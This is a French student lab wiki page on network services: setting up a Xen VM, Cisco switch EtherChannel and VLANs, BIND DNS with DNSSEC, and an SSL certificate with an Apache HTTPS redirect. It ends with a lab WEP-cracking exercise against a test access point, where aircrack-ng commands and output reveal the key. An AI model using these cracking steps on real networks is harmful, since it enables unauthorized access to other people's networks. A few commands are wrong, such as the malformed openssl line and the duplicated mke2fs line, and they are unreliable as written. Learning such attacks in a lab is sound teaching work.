TP sysres IMA2a5 2017/2018 G4

De Wiki d'activités IMA

Installation de la Machine virtuelle Xen

Lors de la première séance, nous avons créé une machine Xen et installé les packages nécessaires.

1-Connexion sur le serveur:

     ssh root@cordouan.insecserv.deule.net

2-Création de la machine virtuelle (appelée trappe):

     xen-create-image --hostname trappe --ip 193.48.57.164 --dir /etc/xen

3-Montage du /var et /home

Nous avons monté le /var et le /home sur cordouan. Il a fallu créer les partitions LVM sur cordouan:

     lvcreate -L10G -n IMA2A5-trappe-home virtual
     lvcreate -L10G -n IMA2A5-trappe-var virtual

Puis créer les systèmes de fichier:

     mke2fs /dev/virtual/IMA2A5-trappe-home
     mke2fs /dev/virtual/IMA2A5-trappe-home

Modifier le fichier de configuration de notre Xen (trappe.cfg):

     disk        = [
                 'file:/usr/local/xen/domains/trappe/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/trappe/swap.img,xvda1,w',
               'phy:/dev/virtual/IMA2A5-trappe-var,xvdb1,w',
               'phy:/dev/virtual/IMA2A5-trappe-home,xvdb2,w',
             ]

Pour monter le /home, nous avons ajouté à la fin du fichier fstab de notre xen la ligne suivante:

     /dev/xvdb2      /home   ext4    defaults        0       3

Puis nous avons tapé la commande:

     mount -a

Pour le /var nous avons procédé différemment (car il n’était pas vide). Il a tout d'abord fallu monter xvdb1 sur /mnt:

     mount /dev/xvdb1 /mnt

Y copier tout le contenu du /var:

     mv /var/* /mnt/

Ajouter la ligne suivante au fstab

     /dev/xvdb1      /var    ext4    defaults        0       2

Et enfin terminer par cette commande:

     mount -a

Tâche: Configuration commutateurs

Nous nous sommes ensuite occupés de la configuration des commutateurs:

   Nous avons 2 commutateurs:
   Un des deux a une connexion avec Cordouan (en E306)
   Chacun doit être relié aux 2 routeurs (un dans la salle E304, et un dans la salle E306)
   Chacun doit avoir au moins un port permettant une connexion à un Point d'Accès WiFi.
  

Plan res.png

1-Etherchannel

Liaison entre commutateur et routeur de la salle E304: utilisation de l'EtherChannel:

   Afin de s'approcher d'une liaison générale de 10Gbit, nous avons utilisé 8 câbles connectés à des ports 1Gbit. 
   Nous avons mis en place un EtherChannel. Cela consiste à mettre toutes les liaisons 1Gbits en parallèle dans un même groupe,
   (selon leurs numéros de port) pour avoir une liaison proche de 10Gbit.

Nous avons procédé comme suit :

    >enable
    #conf t
    #interface GigabitEthernet 2/1 //Puis 2/3, 2/5... jusqu'à 2/15 
    #switchport trunk encapsulation dot1q
    #switchport mode trunk
    #channel-group 1 mode active //affectation au groupe 1 et activation
    #no shut
    #exit
    #write

2-Points d'accès

Pour le commutateur en E304, on configure le port 2/17

   #interface GigabitEthernet 2/17
   #switchport trunk encapsulation dot1q
   #switchport mode trunk
   #no shut
   #exit
   #write

De la même manière, on a configuré le port 4/1 en E306

Pour chacun des commutateurs, on crée les VLAN nécessaires pour chacun des binômes (VLAN 2 à 7):

   #vlan database
   #vlan 2  //jusque 7
   ...
   #exit
   #write

3-Liaison avec Cordouan

La liaison se fait en E306 avec le port 4/2 que l'on a ajouté au VLAN Xen préalablement créé:

   #vlan database
   #vlan 8 name XEN
   ...
   #exit
   #write
   #conf t
   #interface GigabitEthernet 4/2
   #switchport access vlan 8
   #no shut
   #exit
   #write


4-Liaisons entre routeurs et commutateurs

Toutes ces liaisons ont été configurées en mode trunk

Pour chacun des commutateurs, le vlan d'interconnexion a été créé

   #vlan database
   #vlan 131 name interco
   ...
   #exit
   #write

5-Paramètres réseau

nous avons aussi configuré une ip ainsi qu'une passerelle par défaut (données par le groupe des routeurs) avec:

    ip address 10.100.0.6 255.255.255.0 (Pour le commutateur en E306)
    ip address 10.100.0.3 255.255.255.0 (Pour le commutateur en E304)
    ip default-gateway 10.100.0.1

Serveur DNS

Configuration de base

Nous avons installé bind9 et apache2. Nous avons ensuite acheté un nom de domaine sur Gandi (stfeuillen.space) Puis nous avons configuré bind pour notre nom domaine. Cela s'est fait sur 3 fichiers.

1-named.conf.options:

ajout de :

    acl "allowed to transfer" {
                217.70.177.40/32; };

qui autorise le transfert depuis Gandi


2-named.conf.local:

Ajout de la zone stfeuillen.space

 zone "stfeuillen.space" {
      type master;
      file "/etc/bind/stfeuillen.space";       
  }
 

3-stfeuillen.space

    ;
    ; BIND data file for local loopback interface
    ;
    $TTL	259200
    @	IN	SOA	dns.stfeuillen.space. admin.stfeuillen.space. (
    			128	    	; Serial
    			7200		; Refresh
    			3600		; Retry
    			1209600		; Expire
    			259200 )	; Negative Cache TTL
    	IN NS dns.stfeuillen.space.
    	IN NS ns6.gandi.net.
    	IN MX 100 dns.stfeuillen.space.
    	IN A 193.48.57.164
    	
    dns	IN A	193.48.57.164
    	IN MX	100 dns.stfeuillen.space.
    www	IN A	193.48.57.164


Après avoir préparé ces trois fichiers nous avons modifié les DNS de notre domaine sur Gandi et avons ajouté notre DNS au glue record.

Une fois ces étapes terminées il était possible d'accéder à la page apache en tapant notre domaine dans le navigateur.

Mise en place du DNSSEC

DNSSEC est un protocole qui permet de sécuriser les données envoyées par le DNS.

1-Création des clés

Pour le mettre en place, nous avons tout d'abord créé un dossier stfeuillen.space.dnssec (à /etc/bind/) dans lequel nous avons créé deux clés, une KSK et une ZSK

    dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE stfeuillen.space
    dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE stfeuillen.space

Nous avons renommé les .key et .private de manière à avoir :

    stfeuillen.space-zsk.key
    stfeuillen.space-ksk.key      
    stfeuillen.space-zsk.private
    stfeuillen.space-ksk.private

2-Modification des fichiers

Nous avons ensuite signé notre zone avec la commande suivante :

    dnssec-signzone -o stfeuillen.space -k stfeuillen.space-ksk ../stfeuillen.space stfeuillen.space-zsk

Cette commande a créé un fichier .signed dans le dossier bind Il a ensuite été nécessaire de modifier certains fichiers comme :

le stfeuillen.space en ajoutant

    $include /etc/bind/stfeuillen.space.dnssec/stfeuillen.space-ksk.key
    $include /etc/bind/stfeuillen.space.dnssec/stfeuillen.space-zsk.key

le named.conf.local en ajoutant .signed au fichier de zone

    zone "stfeuillen.space" {
    	type master;
    	file "/etc/bind/stfeuillen.space.signed";
    };

le named.conf.options en ajoutant :

    dnssec-enable yes;
    dnssec-validation auto;


3-Ajout sur Gandi

Sur Gandi, dans la partie DNSSEC, nous avons renseigné les clés ZSK et KSK que nous avions créées.

4-Vérification du DNSSEC

Pour la vérification de notre dnssec nous avons utilisé l'outil en ligne DNS VIZ

Comme tout apparaît bleu sur l'image, tout va bien :

Stfeuillen.space.dnsviz.png

Mise en place du certificat SSL

1-Achat sur Gandi

Pour cette partie il a été nécessaire d'installer postfix qui est un serveur de messagerie électronique.

Après l'avoir installé, nous nous sommes envoyé un email pour vérifier le bon fonctionnement.

Nous avons utilisé la commande suivante pour créer notre CSR :

    openssl -reg -nodes -newkey -rsa : 2048 -sha256 -keyout monserveur.key -out serveur.csr

Nous avons ensuite demandé notre certificat SSL sur Gandi en renseignant ce CSR

Un mail nous a ensuite été envoyé pour valider le certificat

Une fois le ssl validé sur gandi nous avons pu télécharger certains fichiers importants pour la suite

2-Mise en place https et redirection

Il a ensuite fallu taper les commandes suivantes

    a2enmod ssl
    a2ensite default-ssl
    service apache2 restart

Les fichiers téléchargés et ceux créés par openssl sont à déplacer

    cp stfeuillen.space.crt /etc/ssl/certs/                                   //Téléchargé depuis Gandi
    cp /root/monserveur.key /etc/ssl/private/stfeuillen.space.key             //créé par openssl
    cp GandiStandardSSLCA2.pem /etc/ssl/certs/                                //Téléchargé depuis Gandi

Pour la redirection nous créons le fichier .htaccess dans /var/www/html/

    RewriteEngine On
    RewriteCond %{HTTPS} off
    RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

On ajoute ensuite une redirection sur le https en modifiant etc/apache2/sites-available/000-default.conf

On ajoute alors :

Redirect permanent / https://www.stfeuillen.space/

Finalement, on modifie le fichier etc/apache2/sites-available/default-ssl.conf

On ajoute :

    ServerName stfeuillen.space
    SSLEngine on
    SSLCertificateFile      /etc/ssl/certs/stfeuillen.space.crt
    SSLCertificateKeyFile /etc/ssl/private/stfeuillen.space.key
    SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem


Dès lors, lorsque l'on tape http://stfeuillen.space on se retrouve sur le https

Craquage WEP

Pour cette partie nous avons craqué la clé WEP de la BORNE_TEST2 avec le groupe de Pierre et Nico

Nous avons installé de package nécessaire :

    apt-get install aircrack-ng

Nous avons ensuite activé le mode moniteur de notre carte wifi

    airmon-ng start wlx40a5ef010eac

Nous avons listé les différents accès wifi disponibles avec la commande suivante :

    airodump-ng --encrypt wep wlx40a5ef010eac

Nous nous sommes ensuite attaqués à la BORNE_TEST2 qui émettait sur le canal 3 en tapant dans un autre terminal la commande suivante :

    airodump-ng -w out -c 3 --essid BORNE_TEST2 wlx40a5ef010eac

Dans un autre terminal encore nous tapons la commande suivante :

    aircrack-ng out-01.pcap

Il est important de lancer ces deux dernières commandes au même endroit dans le système de fichier car la première crée un fichier out-01.pcap que la dernière va analyser pour craquer la clé

Nous avons du attendre que près de 80000 paquets soient captés avant d'avoir un résultat :

                             Aircrack-ng 1.2 rc4
               [00:18:04] Tested 709 keys (got 55601 IVs)
 KB    depth   byte(vote)
  0    0/  1   63(82432) 2A(66048) 25(64256) A8(64000) 9D(63744)
  1    0/  2   32(79104) 09(66816) D7(64768) ED(64512) 7D(64256)
  2   68/  2   DD(58368) DC(58112) F6(58112) AE(57856) F2(57856)
  3    5/  7   08(64256) FC(63744) 5E(63488) CB(62720) 23(62464)
  4   21/  4   46(60672) 02(60160) 0E(60160) 73(60160) 7C(60160)
  KEY FOUND! [ 63:32:34:67:4A:3A:51:34:76:25:43:77:3F ] (ASCII: c24gJ:Q4v%Cw? )
   Decrypted correctly: 100%

Nous avons ensuite testé la clé et avons pu constater que le craquage a été un succès !